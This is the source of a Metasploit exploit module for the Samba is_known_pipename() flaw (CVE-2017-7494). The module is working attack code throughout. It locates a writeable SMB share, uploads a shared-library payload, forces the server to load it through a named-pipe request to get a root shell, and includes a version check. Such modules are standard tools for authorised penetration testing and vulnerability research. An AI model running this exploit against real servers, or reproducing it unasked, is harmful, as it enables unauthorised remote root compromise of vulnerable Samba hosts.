Path: blob/master/modules/exploits/linux/samba/is_known_pipename.rb
32905 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::DCERPC9include Msf::Exploit::Remote::SMB::Client1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Samba is_known_pipename() Arbitrary Module Load',16'Description' => %q{17This module triggers an arbitrary shared library load vulnerability18in Samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.4. This module19requires valid credentials, a writeable folder in an accessible share,20and knowledge of the server-side path of the writeable folder. In21some cases, anonymous access combined with common filesystem locations22can be used to automatically exploit this vulnerability.23},24'Author' => [25'steelo <knownsteelo[at]gmail.com>', # Vulnerability Discovery & Python Exploit26'hdm', # Metasploit Module27'bcoles', # Check logic28],29'License' => MSF_LICENSE,30'References' => [31[ 'CVE', '2017-7494' ],32[ 'URL', 'https://www.samba.org/samba/security/CVE-2017-7494.html' ],33[ 'ATT&CK', Mitre::Attack::Technique::T1083_FILE_AND_DIRECTORY_DISCOVERY ],34[ 'ATT&CK', Mitre::Attack::Technique::T1135_NETWORK_SHARE_DISCOVERY ],35[ 'ATT&CK', Mitre::Attack::Technique::T1592_002_SOFTWARE ],36[ 'ATT&CK', Mitre::Attack::Technique::T1055_001_DYNAMIC_LINK_LIBRARY_INJECTION ]37],38'Payload' => {39'Space' => 9000,40'DisableNops' => true41},42'Platform' => 'linux',43'Targets' => [4445[46'Automatic (Interact)',47{48'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ], 'Interact' => true,49'Payload' => {50'Compat' => {51'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find'52}53}54}55],56[57'Automatic (Command)',58{ 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] }59],60[ 'Linux x86', { 'Arch' => ARCH_X86 } ],61[ 'Linux x86_64', { 'Arch' => ARCH_X64 } ],62[ 'Linux ARM (LE)', { 'Arch' => ARCH_ARMLE } ],63[ 'Linux ARM64', { 'Arch' => ARCH_AARCH64 } ],64[ 'Linux MIPS', { 'Arch' => ARCH_MIPS } ],65[ 'Linux MIPSLE', { 'Arch' => ARCH_MIPSLE } ],66[ 'Linux MIPS64', { 'Arch' => ARCH_MIPS64 } ],67[ 'Linux MIPS64LE', { 'Arch' => ARCH_MIPS64LE } ],68[ 'Linux PPC', { 'Arch' => ARCH_PPC } ],69[ 'Linux PPC64', { 'Arch' => ARCH_PPC64 } ],70[ 'Linux PPC64 (LE)', { 'Arch' => ARCH_PPC64LE } ],71[ 'Linux SPARC', { 'Arch' => ARCH_SPARC } ],72[ 'Linux SPARC64', { 'Arch' => ARCH_SPARC64 } ],73[ 'Linux s390x', { 'Arch' => ARCH_ZARCH } ],74],75'DefaultOptions' => {76'DCERPC::fake_bind_multi' => false,77'SHELL' => '/bin/sh'78},79'Privileged' => true,80'DisclosureDate' => '2017-03-24',81'DefaultTarget' => 0,82'Notes' => {83'Stability' => [CRASH_SAFE],84'SideEffects' => [IOC_IN_LOGS],85'Reliability' => [REPEATABLE_SESSION]86}87)88)8990register_options(91[92OptString.new('SMB_SHARE_NAME', [false, 'The name of the SMB share containing a writeable directory']),93OptString.new('SMB_FOLDER', [false, 'The directory to use within the writeable SMB share']),94]95)96end9798def post_auth?99true100end101102# Setup our mapping of Metasploit architectures to gcc architectures103def setup104super105@payload_arch_mappings = {106ARCH_X86 => [ 'x86' ],107ARCH_X64 => [ 'x86_64' ],108ARCH_MIPS => [ 'mips' ],109ARCH_MIPSLE => [ 'mipsel' ],110ARCH_MIPSBE => [ 'mips' ],111ARCH_MIPS64 => [ 'mips64' ],112ARCH_MIPS64LE => [ 'mips64el' ],113ARCH_PPC => [ 'powerpc' ],114ARCH_PPC64 => [ 'powerpc64' ],115ARCH_PPC64LE => [ 'powerpc64le' ],116ARCH_SPARC => [ 'sparc' ],117ARCH_SPARC64 => [ 'sparc64' ],118ARCH_ARMLE => [ 'armel', 'armhf' ],119ARCH_AARCH64 => [ 'aarch64' ],120ARCH_ZARCH => [ 's390x' ]121}122123# Architectures we don't offically support but can shell anyways with interact124@payload_arch_bonus = %w[125mips64el sparc64 s390x126]127128# General platforms (OS + C library)129@payload_platforms = %w[130linux-glibc131]132end133134# List all top-level directories within a given share135def enumerate_directories(share)136vprint_status('Use Rex client (SMB1 only) to enumerate directories, since it is not compatible with RubySMB client')137connect(versions: [1])138smb_login139simple.connect("\\\\#{rhost}\\#{share}")140stuff = simple.client.find_first('\\*')141directories = ['']142stuff.each_pair do |entry, entry_attr|143next if %w[. ..].include?(entry)144next unless entry_attr['type'] == 'D'145146directories << entry147end148149return directories150rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e151vprint_error("Enum #{share}: #{e}")152return nil153ensure154simple.disconnect("\\\\#{rhost}\\#{share}")155smb_connect156end157158# Determine whether a directory in a share is writeable159def verify_writeable_directory(share, directory = '')160simple.connect("\\\\#{rhost}\\#{share}")161162random_filename = Rex::Text.rand_text_alpha(5) + '.txt'163filename = directory.empty? ? "\\#{random_filename}" : "\\#{directory}\\#{random_filename}"164165wfd = simple.open(filename, 'rwct')166wfd << Rex::Text.rand_text_alpha(8)167wfd.close168169simple.delete(filename)170return true171rescue ::Rex::Proto::SMB::Exceptions::ErrorCode, RubySMB::Error::RubySMBError => e172vprint_error("Write #{share}#{filename}: #{e}")173return false174ensure175simple.disconnect("\\\\#{rhost}\\#{share}")176end177178# Call NetShareGetInfo to retrieve the server-side path179def find_share_path180share_info = smb_netsharegetinfo(@share)181share_info[:path].gsub('\\', '/').sub(/^.*:/, '')182end183184# Crawl top-level directories and test for writeable185def find_writeable_path(share)186subdirs = enumerate_directories(share)187return unless subdirs188189if !datastore['SMB_FOLDER'].to_s.empty?190subdirs.unshift(datastore['SMB_FOLDER'])191end192193subdirs.each do |subdir|194next unless verify_writeable_directory(share, subdir)195196return subdir197end198199nil200end201202# Locate a writeable directory across identified shares203def find_writeable_share_path204@path = nil205share_info = smb_netshareenumall206if datastore['SMB_SHARE_NAME'].blank?207share_info.unshift [datastore['SMB_SHARE_NAME'], 'DISK', '']208end209210share_info.each do |share|211next if share.blank?212next if share.first.blank?213next if share.first.upcase == 'IPC$'214215found = find_writeable_path(share.first)216next unless found217218@share = share.first219@path = found220break221end222end223224# Locate a writeable share225def find_writeable226find_writeable_share_path227unless @share && @path228print_error('No suitable share and path were found, try setting SMB_SHARE_NAME and SMB_FOLDER')229fail_with(Failure::NoTarget, 'No matching target')230end231print_status("Using location \\\\#{rhost}\\#{@share}\\#{@path} for the path")232end233234# Store the wrapped payload into the writeable share235def upload_payload(wrapped_payload)236begin237simple.connect("\\\\#{rhost}\\#{@share}")238239random_filename = Rex::Text.rand_text_alpha(8) + '.so'240filename = @path.empty? ? "\\#{random_filename}" : "\\#{@path}\\#{random_filename}"241242wfd = simple.open(filename, 'rwct')243wfd << wrapped_payload244wfd.close245246@payload_name = random_filename247rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e248print_error("Write #{@share}#{filename}: #{e}")249return false250ensure251simple.disconnect("\\\\#{rhost}\\#{@share}")252end253254print_status("Uploaded payload to \\\\#{rhost}\\#{@share}#{filename}")255return true256end257258# Try both pipe open formats in order to load the uploaded shared library259def trigger_payload260target = [@share_path, @path, @payload_name].join('/').gsub(%r{/+}, '/')261[262'\\\\PIPE\\' + target,263target264].each do |tpath|265print_status("Loading the payload from server-side path #{target} using #{tpath}...")266267smb_connect268269# Try to execute the shared library from the share270begin271simple.client.create_pipe(tpath)272probe_module_path(tpath)273rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply, ::Timeout::Error, ::EOFError274# Common errors we can safely ignore275rescue Rex::Proto::SMB::Exceptions::ErrorCode => e276# Look for STATUS_OBJECT_PATH_INVALID indicating our interact payload loaded277if e.error_code == 0xc0000039278pwn279return true280else281print_error(" >> Failed to load #{e.error_name}")282end283rescue RubySMB::Error::UnexpectedStatusCode, RubySMB::Error::InvalidPacket => e284if e.status_code == ::WindowsError::NTStatus::STATUS_OBJECT_PATH_INVALID285pwn286return true287else288print_error(" >> Failed to load #{e.status_code.name}")289end290end291292disconnect293end294295false296end297298def pwn299print_good('Probe response indicates the interactive payload was loaded...')300smb_shell = sock301self.sock = nil302remove_socket(sock)303handler(smb_shell)304end305306# Use fancy payload wrappers to make exploitation a joyously lazy exercise307def cycle_possible_payloads308template_base = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2017-7494')309template_list = []310template_type = nil311312# Handle the generic command types first313if target.arch.include?(ARCH_CMD)314template_type = target['Interact'] ? 'findsock' : 'system'315316all_architectures = @payload_arch_mappings.values.flatten.uniq317318# Include our bonus architectures for the interact payload319if target['Interact']320@payload_arch_bonus.each do |t_arch|321all_architectures << t_arch322end323end324325# Prioritize the most common architectures first326%w[x86_64 x86 armel armhf mips mipsel].each do |t_arch|327template_list << all_architectures.delete(t_arch)328end329330# Queue up the rest for later331all_architectures.each do |t_arch|332template_list << t_arch333end334335# Handle the specific architecture targets next336else337template_type = 'shellcode'338target.arch.each do |t_name|339@payload_arch_mappings[t_name].each do |t_arch|340template_list << t_arch341end342end343end344345# Remove any duplicates that mau have snuck in346template_list.uniq!347348# Cycle through each top-level platform we know about349@payload_platforms.each do |t_plat|350# Cycle through each template and yield351template_list.each do |t_arch|352wrapper_path = ::File.join(template_base, "samba-root-#{template_type}-#{t_plat}-#{t_arch}.so.gz")353next unless ::File.exist?(wrapper_path)354355data = ''356::File.open(wrapper_path, 'rb') do |fd|357data = Rex::Text.ungzip(fd.read)358end359360pidx = data.index('PAYLOAD')361if pidx362data[pidx, payload.encoded.length] = payload.encoded363end364365vprint_status("Using payload wrapper 'samba-root-#{template_type}-#{t_arch}'...")366yield(data)367end368end369end370371# Verify that the payload settings make sense372def sanity_check373if target['Interact'] && datastore['PAYLOAD'] != 'cmd/unix/interact'374print_error('Error: The interactive target is chosen (0) but PAYLOAD is not set to cmd/unix/interact')375print_error(' Please set PAYLOAD to cmd/unix/interact and try this again')376print_error('')377fail_with(Failure::NoTarget, 'Invalid payload chosen for the interactive target')378end379380if !target['Interact'] && datastore['PAYLOAD'] == 'cmd/unix/interact'381print_error('Error: A non-interactive target is chosen but PAYLOAD is set to cmd/unix/interact')382print_error(' Please set a valid PAYLOAD and try this again')383print_error('')384fail_with(Failure::NoTarget, 'Invalid payload chosen for the non-interactive target')385end386end387388# Shorthand for connect and login389def smb_connect390connect391smb_login392end393394# Start the shell train395def exploit396# Validate settings397sanity_check398399# Setup SMB400smb_connect401402# Find a writeable share403find_writeable404405# Retrieve the server-side path of the share like a boss406print_status("Retrieving the remote path of the share '#{@share}'")407@share_path = find_share_path408print_status("Share '#{@share}' has server-side path '#{@share_path}")409410# Disconnect411disconnect412413# Create wrappers for each potential architecture414cycle_possible_payloads do |wrapped_payload|415# Connect, upload the shared library payload, disconnect416smb_connect417upload_payload(wrapped_payload)418disconnect419420# Trigger the payload421early = trigger_payload422423# Cleanup the payload424begin425smb_connect426simple.connect("\\\\#{rhost}\\#{@share}")427uploaded_path = @path.empty? ? "\\#{@payload_name}" : "\\#{@path}\\#{@payload_name}"428simple.delete(uploaded_path)429disconnect430rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply, ::Timeout::Error, ::EOFError => e431vprint_error(e.message)432end433434# Bail early if our interact payload loaded435return if early436end437end438439# A version-based vulnerability check for Samba440def check441res = smb_fingerprint442443unless res['native_lm'] =~ /Samba ([\d.]+)/444print_error("does not appear to be Samba: #{res['os']} / #{res['native_lm']}")445return CheckCode::Safe446end447448samba_version = Rex::Version.new(::Regexp.last_match(1).gsub(/\.$/, ''))449450vprint_status("Samba version identified as #{samba_version}")451452if samba_version < Rex::Version.new('3.5.0')453return CheckCode::Safe454end455456# Patched in 4.4.14457if samba_version < Rex::Version.new('4.5.0') &&458samba_version >= Rex::Version.new('4.4.14')459return CheckCode::Safe460end461462# Patched in 4.5.10463if samba_version > Rex::Version.new('4.5.0') &&464samba_version < Rex::Version.new('4.6.0') &&465samba_version >= Rex::Version.new('4.5.10')466return CheckCode::Safe467end468469# Patched in 4.6.4470if samba_version >= Rex::Version.new('4.6.4')471return CheckCode::Safe472end473474smb_connect475find_writeable_share_path476disconnect477478if @share.to_s.empty?479return CheckCode::Detected("Samba version #{samba_version} found, but no writeable share has been identified")480end481482return CheckCode::Appears("Samba version #{samba_version} found with writeable share '#{@share}'")483end484end485486487